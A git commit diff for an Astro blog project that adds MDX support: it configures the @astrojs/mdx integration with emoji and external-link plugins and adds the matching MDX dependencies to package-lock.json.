增加mdx支持

修复文章格式问题
This commit is contained in:
lsy 2025-03-10 15:15:30 +08:00
parent 9ed938c946
commit ad02d7b38b
58 changed files with 1429 additions and 278 deletions

View File

@ -2,7 +2,7 @@
import { defineConfig } from 'astro/config';
import tailwindcss from '@tailwindcss/vite';
import mdx from '@astrojs/mdx';
import react from '@astrojs/react';
import remarkEmoji from 'remark-emoji';
import rehypeExternalLinks from 'rehype-external-links';
@ -65,6 +65,21 @@ export default defineConfig({
},
integrations: [
mdx({
syntaxHighlight: 'prism',
remarkPlugins: [
[remarkEmoji, { emoticon: true }]
],
rehypePlugins: [
[rehypeExternalLinks, { target: '_blank', rel: ['nofollow', 'noopener', 'noreferrer'] }]
],
gfm: true,
shikiConfig: {
theme: 'github-dark',
langs: [],
wrap: true,
}
}),
react(),
sitemap({
filter: (page) => !page.includes('/api/'),
@ -112,18 +127,15 @@ export default defineConfig({
markdown: {
syntaxHighlight: 'prism',
remarkPlugins: [
[remarkEmoji, { emoticon: true }] // 启用表情符号和情感符号
[remarkEmoji, { emoticon: true }]
],
rehypePlugins: [
[rehypeExternalLinks, { target: '_blank', rel: ['nofollow', 'noopener', 'noreferrer'] }]
],
gfm: true, // GitHub Flavored Markdown
gfm: true,
shikiConfig: {
// 选择一个主题 (可选)
theme: 'github-dark',
// 添加自定义语言
langs: [],
// 启用自动换行,防止水平滚动
wrap: true,
}
},

748
package-lock.json generated
View File

@ -8,6 +8,7 @@
"name": "newechoes",
"version": "0.0.1",
"dependencies": {
"@astrojs/mdx": "^4.1.0",
"@astrojs/node": "^9.1.2",
"@astrojs/react": "^4.2.1",
"@astrojs/sitemap": "^3.2.1",
@ -85,6 +86,33 @@
"vfile": "^6.0.3"
}
},
"node_modules/@astrojs/mdx": {
"version": "4.1.0",
"resolved": "https://registry.npmmirror.com/@astrojs/mdx/-/mdx-4.1.0.tgz",
"integrity": "sha512-M7BaYhVTT7Q/iS2EoEaUngQnN+D2jPCWmNS1TIY31bDyz3MOf+dZmuqODJOEUdBBAASkQE+MhzyPds/N2o6csw==",
"license": "MIT",
"dependencies": {
"@astrojs/markdown-remark": "6.2.0",
"@mdx-js/mdx": "^3.1.0",
"acorn": "^8.14.0",
"es-module-lexer": "^1.6.0",
"estree-util-visit": "^2.0.0",
"hast-util-to-html": "^9.0.4",
"kleur": "^4.1.5",
"rehype-raw": "^7.0.0",
"remark-gfm": "^4.0.0",
"remark-smartypants": "^3.0.2",
"source-map": "^0.7.4",
"unist-util-visit": "^5.0.0",
"vfile": "^6.0.3"
},
"engines": {
"node": "^18.17.1 || ^20.3.0 || >=22.0.0"
},
"peerDependencies": {
"astro": "^5.0.0"
}
},
"node_modules/@astrojs/node": {
"version": "9.1.2",
"resolved": "https://registry.npmmirror.com/@astrojs/node/-/node-9.1.2.tgz",
@ -1426,6 +1454,42 @@
}
}
},
"node_modules/@mdx-js/mdx": {
"version": "3.1.0",
"resolved": "https://registry.npmmirror.com/@mdx-js/mdx/-/mdx-3.1.0.tgz",
"integrity": "sha512-/QxEhPAvGwbQmy1Px8F899L5Uc2KZ6JtXwlCgJmjSTBedwOZkByYcBG4GceIGPXRDsmfxhHazuS+hlOShRLeDw==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"@types/estree-jsx": "^1.0.0",
"@types/hast": "^3.0.0",
"@types/mdx": "^2.0.0",
"collapse-white-space": "^2.0.0",
"devlop": "^1.0.0",
"estree-util-is-identifier-name": "^3.0.0",
"estree-util-scope": "^1.0.0",
"estree-walker": "^3.0.0",
"hast-util-to-jsx-runtime": "^2.0.0",
"markdown-extensions": "^2.0.0",
"recma-build-jsx": "^1.0.0",
"recma-jsx": "^1.0.0",
"recma-stringify": "^1.0.0",
"rehype-recma": "^1.0.0",
"remark-mdx": "^3.0.0",
"remark-parse": "^11.0.0",
"remark-rehype": "^11.0.0",
"source-map": "^0.7.0",
"unified": "^11.0.0",
"unist-util-position-from-estree": "^2.0.0",
"unist-util-stringify-position": "^4.0.0",
"unist-util-visit": "^5.0.0",
"vfile": "^6.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/@octokit/app": {
"version": "14.1.0",
"resolved": "https://registry.npmmirror.com/@octokit/app/-/app-14.1.0.tgz",
@ -2457,6 +2521,15 @@
"vite": "^5.2.0 || ^6"
}
},
"node_modules/@types/acorn": {
"version": "4.0.6",
"resolved": "https://registry.npmmirror.com/@types/acorn/-/acorn-4.0.6.tgz",
"integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==",
"license": "MIT",
"dependencies": {
"@types/estree": "*"
}
},
"node_modules/@types/aws-lambda": {
"version": "8.10.147",
"resolved": "https://registry.npmmirror.com/@types/aws-lambda/-/aws-lambda-8.10.147.tgz",
@ -2531,6 +2604,15 @@
"integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==",
"license": "MIT"
},
"node_modules/@types/estree-jsx": {
"version": "1.0.5",
"resolved": "https://registry.npmmirror.com/@types/estree-jsx/-/estree-jsx-1.0.5.tgz",
"integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==",
"license": "MIT",
"dependencies": {
"@types/estree": "*"
}
},
"node_modules/@types/hast": {
"version": "3.0.4",
"resolved": "https://registry.npmmirror.com/@types/hast/-/hast-3.0.4.tgz",
@ -2559,6 +2641,12 @@
"@types/unist": "*"
}
},
"node_modules/@types/mdx": {
"version": "2.0.13",
"resolved": "https://registry.npmmirror.com/@types/mdx/-/mdx-2.0.13.tgz",
"integrity": "sha512-+OWZQfAYyio6YkJb3HLxDrvnx6SWWDbC0zVPfBRzUk0/nqoDyf6dNxQi3eArPe8rJ473nobTMQ/8Zk+LxJ+Yuw==",
"license": "MIT"
},
"node_modules/@types/ms": {
"version": "2.1.0",
"resolved": "https://registry.npmmirror.com/@types/ms/-/ms-2.1.0.tgz",
@ -2788,6 +2876,15 @@
"acorn": "^8"
}
},
"node_modules/acorn-jsx": {
"version": "5.3.2",
"resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
"integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
"license": "MIT",
"peerDependencies": {
"acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
}
},
"node_modules/agent-base": {
"version": "7.1.3",
"resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-7.1.3.tgz",
@ -2957,6 +3054,15 @@
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/astring": {
"version": "1.9.0",
"resolved": "https://registry.npmmirror.com/astring/-/astring-1.9.0.tgz",
"integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==",
"license": "MIT",
"bin": {
"astring": "bin/astring"
}
},
"node_modules/astro": {
"version": "5.4.2",
"resolved": "https://registry.npmmirror.com/astro/-/astro-5.4.2.tgz",
@ -3284,6 +3390,16 @@
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/character-reference-invalid": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",
"integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==",
"license": "MIT",
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/cheerio": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0.tgz",
@ -3395,6 +3511,16 @@
"node": ">=6"
}
},
"node_modules/collapse-white-space": {
"version": "2.1.0",
"resolved": "https://registry.npmmirror.com/collapse-white-space/-/collapse-white-space-2.1.0.tgz",
"integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==",
"license": "MIT",
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/color": {
"version": "4.2.3",
"resolved": "https://registry.npmmirror.com/color/-/color-4.2.3.tgz",
@ -3883,6 +4009,38 @@
"integrity": "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ==",
"license": "MIT"
},
"node_modules/esast-util-from-estree": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/esast-util-from-estree/-/esast-util-from-estree-2.0.0.tgz",
"integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"devlop": "^1.0.0",
"estree-util-visit": "^2.0.0",
"unist-util-position-from-estree": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/esast-util-from-js": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/esast-util-from-js/-/esast-util-from-js-2.0.1.tgz",
"integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"acorn": "^8.0.0",
"esast-util-from-estree": "^2.0.0",
"vfile-message": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/esbuild": {
"version": "0.25.0",
"resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.25.0.tgz",
@ -3963,6 +4121,88 @@
"node": ">=4"
}
},
"node_modules/estree-util-attach-comments": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/estree-util-attach-comments/-/estree-util-attach-comments-3.0.0.tgz",
"integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-util-build-jsx": {
"version": "3.0.1",
"resolved": "https://registry.npmmirror.com/estree-util-build-jsx/-/estree-util-build-jsx-3.0.1.tgz",
"integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"devlop": "^1.0.0",
"estree-util-is-identifier-name": "^3.0.0",
"estree-walker": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-util-is-identifier-name": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz",
"integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==",
"license": "MIT",
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-util-scope": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/estree-util-scope/-/estree-util-scope-1.0.0.tgz",
"integrity": "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"devlop": "^1.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-util-to-js": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/estree-util-to-js/-/estree-util-to-js-2.0.0.tgz",
"integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"astring": "^1.8.0",
"source-map": "^0.7.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-util-visit": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/estree-util-visit/-/estree-util-visit-2.0.0.tgz",
"integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"@types/unist": "^3.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/estree-walker": {
"version": "3.0.3",
"resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-3.0.3.tgz",
@ -4305,6 +4545,34 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/hast-util-to-estree": {
"version": "3.1.3",
"resolved": "https://registry.npmmirror.com/hast-util-to-estree/-/hast-util-to-estree-3.1.3.tgz",
"integrity": "sha512-48+B/rJWAp0jamNbAAf9M7Uf//UVqAoMmgXhBdxTDJLGKY+LRnZ99qcG+Qjl5HfMpYNzS5v4EAwVEF34LeAj7w==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"@types/estree-jsx": "^1.0.0",
"@types/hast": "^3.0.0",
"comma-separated-tokens": "^2.0.0",
"devlop": "^1.0.0",
"estree-util-attach-comments": "^3.0.0",
"estree-util-is-identifier-name": "^3.0.0",
"hast-util-whitespace": "^3.0.0",
"mdast-util-mdx-expression": "^2.0.0",
"mdast-util-mdx-jsx": "^3.0.0",
"mdast-util-mdxjs-esm": "^2.0.0",
"property-information": "^7.0.0",
"space-separated-tokens": "^2.0.0",
"style-to-js": "^1.0.0",
"unist-util-position": "^5.0.0",
"zwitch": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/hast-util-to-html": {
"version": "9.0.5",
"resolved": "https://registry.npmmirror.com/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz",
@ -4328,6 +4596,33 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/hast-util-to-jsx-runtime": {
"version": "2.3.6",
"resolved": "https://registry.npmmirror.com/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz",
"integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"@types/hast": "^3.0.0",
"@types/unist": "^3.0.0",
"comma-separated-tokens": "^2.0.0",
"devlop": "^1.0.0",
"estree-util-is-identifier-name": "^3.0.0",
"hast-util-whitespace": "^3.0.0",
"mdast-util-mdx-expression": "^2.0.0",
"mdast-util-mdx-jsx": "^3.0.0",
"mdast-util-mdxjs-esm": "^2.0.0",
"property-information": "^7.0.0",
"space-separated-tokens": "^2.0.0",
"style-to-js": "^1.0.0",
"unist-util-position": "^5.0.0",
"vfile-message": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/hast-util-to-parse5": {
"version": "8.0.0",
"resolved": "https://registry.npmmirror.com/hast-util-to-parse5/-/hast-util-to-parse5-8.0.0.tgz",
@ -4510,6 +4805,12 @@
"integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
"license": "ISC"
},
"node_modules/inline-style-parser": {
"version": "0.2.4",
"resolved": "https://registry.npmmirror.com/inline-style-parser/-/inline-style-parser-0.2.4.tgz",
"integrity": "sha512-0aO8FkhNZlj/ZIbNi7Lxxr12obT7cL1moPfE4tg1LkX7LlLfC6DeX4l2ZEud1ukP9jNQyNnfzQVqwbwmAATY4Q==",
"license": "MIT"
},
"node_modules/iron-webcrypto": {
"version": "1.2.1",
"resolved": "https://registry.npmmirror.com/iron-webcrypto/-/iron-webcrypto-1.2.1.tgz",
@ -4532,6 +4833,30 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/is-alphabetical": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/is-alphabetical/-/is-alphabetical-2.0.1.tgz",
"integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==",
"license": "MIT",
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/is-alphanumerical": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",
"integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",
"license": "MIT",
"dependencies": {
"is-alphabetical": "^2.0.0",
"is-decimal": "^2.0.0"
},
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/is-arrayish": {
"version": "0.3.2",
"resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.2.tgz",
@ -4539,6 +4864,16 @@
"license": "MIT",
"optional": true
},
"node_modules/is-decimal": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/is-decimal/-/is-decimal-2.0.1.tgz",
"integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==",
"license": "MIT",
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/is-docker": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/is-docker/-/is-docker-3.0.0.tgz",
@ -4563,6 +4898,16 @@
"node": ">=8"
}
},
"node_modules/is-hexadecimal": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",
"integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==",
"license": "MIT",
"funding": {
"type": "github",
"url": "https://github.com/sponsors/wooorm"
}
},
"node_modules/is-inside-container": {
"version": "1.0.0",
"resolved": "https://registry.npmmirror.com/is-inside-container/-/is-inside-container-1.0.0.tgz",
@ -5114,6 +5459,18 @@
"source-map-js": "^1.2.0"
}
},
"node_modules/markdown-extensions": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/markdown-extensions/-/markdown-extensions-2.0.0.tgz",
"integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==",
"license": "MIT",
"engines": {
"node": ">=16"
},
"funding": {
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/markdown-table": {
"version": "3.0.4",
"resolved": "https://registry.npmmirror.com/markdown-table/-/markdown-table-3.0.4.tgz",
@ -5280,6 +5637,83 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-mdx": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/mdast-util-mdx/-/mdast-util-mdx-3.0.0.tgz",
"integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==",
"license": "MIT",
"dependencies": {
"mdast-util-from-markdown": "^2.0.0",
"mdast-util-mdx-expression": "^2.0.0",
"mdast-util-mdx-jsx": "^3.0.0",
"mdast-util-mdxjs-esm": "^2.0.0",
"mdast-util-to-markdown": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-mdx-expression": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz",
"integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"@types/hast": "^3.0.0",
"@types/mdast": "^4.0.0",
"devlop": "^1.0.0",
"mdast-util-from-markdown": "^2.0.0",
"mdast-util-to-markdown": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-mdx-jsx": {
"version": "3.2.0",
"resolved": "https://registry.npmmirror.com/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz",
"integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"@types/hast": "^3.0.0",
"@types/mdast": "^4.0.0",
"@types/unist": "^3.0.0",
"ccount": "^2.0.0",
"devlop": "^1.1.0",
"mdast-util-from-markdown": "^2.0.0",
"mdast-util-to-markdown": "^2.0.0",
"parse-entities": "^4.0.0",
"stringify-entities": "^4.0.0",
"unist-util-stringify-position": "^4.0.0",
"vfile-message": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-mdxjs-esm": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz",
"integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==",
"license": "MIT",
"dependencies": {
"@types/estree-jsx": "^1.0.0",
"@types/hast": "^3.0.0",
"@types/mdast": "^4.0.0",
"devlop": "^1.0.0",
"mdast-util-from-markdown": "^2.0.0",
"mdast-util-to-markdown": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/mdast-util-phrasing": {
"version": "4.1.0",
"resolved": "https://registry.npmmirror.com/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz",
@ -5539,6 +5973,109 @@
"url": "https://opencollective.com/unified"
}
},
"node_modules/micromark-extension-mdx-expression": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-3.0.0.tgz",
"integrity": "sha512-sI0nwhUDz97xyzqJAbHQhp5TfaxEvZZZ2JDqUo+7NvyIYG6BZ5CPPqj2ogUoPJlmXHBnyZUzISg9+oUmU6tUjQ==",
"funding": [
{
"type": "GitHub Sponsors",
"url": "https://github.com/sponsors/unifiedjs"
},
{
"type": "OpenCollective",
"url": "https://opencollective.com/unified"
}
],
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"devlop": "^1.0.0",
"micromark-factory-mdx-expression": "^2.0.0",
"micromark-factory-space": "^2.0.0",
"micromark-util-character": "^2.0.0",
"micromark-util-events-to-acorn": "^2.0.0",
"micromark-util-symbol": "^2.0.0",
"micromark-util-types": "^2.0.0"
}
},
"node_modules/micromark-extension-mdx-jsx": {
"version": "3.0.1",
"resolved": "https://registry.npmmirror.com/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-3.0.1.tgz",
"integrity": "sha512-vNuFb9czP8QCtAQcEJn0UJQJZA8Dk6DXKBqx+bg/w0WGuSxDxNr7hErW89tHUY31dUW4NqEOWwmEUNhjTFmHkg==",
"license": "MIT",
"dependencies": {
"@types/acorn": "^4.0.0",
"@types/estree": "^1.0.0",
"devlop": "^1.0.0",
"estree-util-is-identifier-name": "^3.0.0",
"micromark-factory-mdx-expression": "^2.0.0",
"micromark-factory-space": "^2.0.0",
"micromark-util-character": "^2.0.0",
"micromark-util-events-to-acorn": "^2.0.0",
"micromark-util-symbol": "^2.0.0",
"micromark-util-types": "^2.0.0",
"vfile-message": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/micromark-extension-mdx-md": {
"version": "2.0.0",
"resolved": "https://registry.npmmirror.com/micromark-extension-mdx-md/-/micromark-extension-mdx-md-2.0.0.tgz",
"integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==",
"license": "MIT",
"dependencies": {
"micromark-util-types": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/micromark-extension-mdxjs": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/micromark-extension-mdxjs/-/micromark-extension-mdxjs-3.0.0.tgz",
"integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==",
"license": "MIT",
"dependencies": {
"acorn": "^8.0.0",
"acorn-jsx": "^5.0.0",
"micromark-extension-mdx-expression": "^3.0.0",
"micromark-extension-mdx-jsx": "^3.0.0",
"micromark-extension-mdx-md": "^2.0.0",
"micromark-extension-mdxjs-esm": "^3.0.0",
"micromark-util-combine-extensions": "^2.0.0",
"micromark-util-types": "^2.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/micromark-extension-mdxjs-esm": {
"version": "3.0.0",
"resolved": "https://registry.npmmirror.com/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-3.0.0.tgz",
"integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==",
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"devlop": "^1.0.0",
"micromark-core-commonmark": "^2.0.0",
"micromark-util-character": "^2.0.0",
"micromark-util-events-to-acorn": "^2.0.0",
"micromark-util-symbol": "^2.0.0",
"micromark-util-types": "^2.0.0",
"unist-util-position-from-estree": "^2.0.0",
"vfile-message": "^4.0.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/unified"
}
},
"node_modules/micromark-factory-destination": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz",
@ -5582,6 +6119,33 @@
"micromark-util-types": "^2.0.0"
}
},
"node_modules/micromark-factory-mdx-expression": {
"version": "2.0.2",
"resolved": "https://registry.npmmirror.com/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-2.0.2.tgz",
"integrity": "sha512-5E5I2pFzJyg2CtemqAbcyCktpHXuJbABnsb32wX2U8IQKhhVFBqkcZR5LRm1WVoFqa4kTueZK4abep7wdo9nrw==",
"funding": [
{
"type": "GitHub Sponsors",
"url": "https://github.com/sponsors/unifiedjs"
},
{
"type": "OpenCollective",
"url": "https://opencollective.com/unified"
}
],
"license": "MIT",
"dependencies": {
"@types/estree": "^1.0.0",
"devlop": "^1.0.0",
"micromark-factory-space": "^2.0.0",
"micromark-util-character": "^2.0.0",
"micromark-util-events-to-acorn": "^2.0.0",
"micromark-util-symbol": "^2.0.0",
"micromark-util-types": "^2.0.0",
"unist-util-position-from-estree": "^2.0.0",
"vfile-message": "^4.0.0"
}
},
"node_modules/micromark-factory-space": {
"version": "2.0.1",
"resolved": "https://registry.npmmirror.com/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz",
@ -5783,6 +6347,32 @@
],
"license": "MIT"
},
"node_modules/micromark-util-events-to-acorn": {
"version": "2.0.2",
"resolved": "https://registry.npmmirror.com/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-2.0.2.tgz",
"integrity": "sha512-Fk+xmBrOv9QZnEDguL9OI9/NQQp6Hz4FuQ4YmCb/5V7+9eAh1s6AYSvL20kHkD67YIg7EpE54TiSlcsf3vyZgA==",
"funding": [
{
"type": "GitHub Sponsors",
"url": "https://github.com/sponsors/unifiedjs"
},
{
"type": "OpenCollective",
"url": "https://opencollective.com/unified"
}
],
"license": "MIT",
"dependencies": {
"@types/acorn": "^4.0.0",
"@types/estree": "^1.0.0",
"@types/unist": "^3.0.0",
"devlop": "^1.0.0",
"estree-util-visit": "^2.0.0",
"micromark-util-symbol": "^2.0.0",
"micromark-util-types": "^2.0.0",
"vfile-message": "^4.0.0"
}
},
"node_modules/micromark-util-html-tag-name": {
"version": "2.0.1",
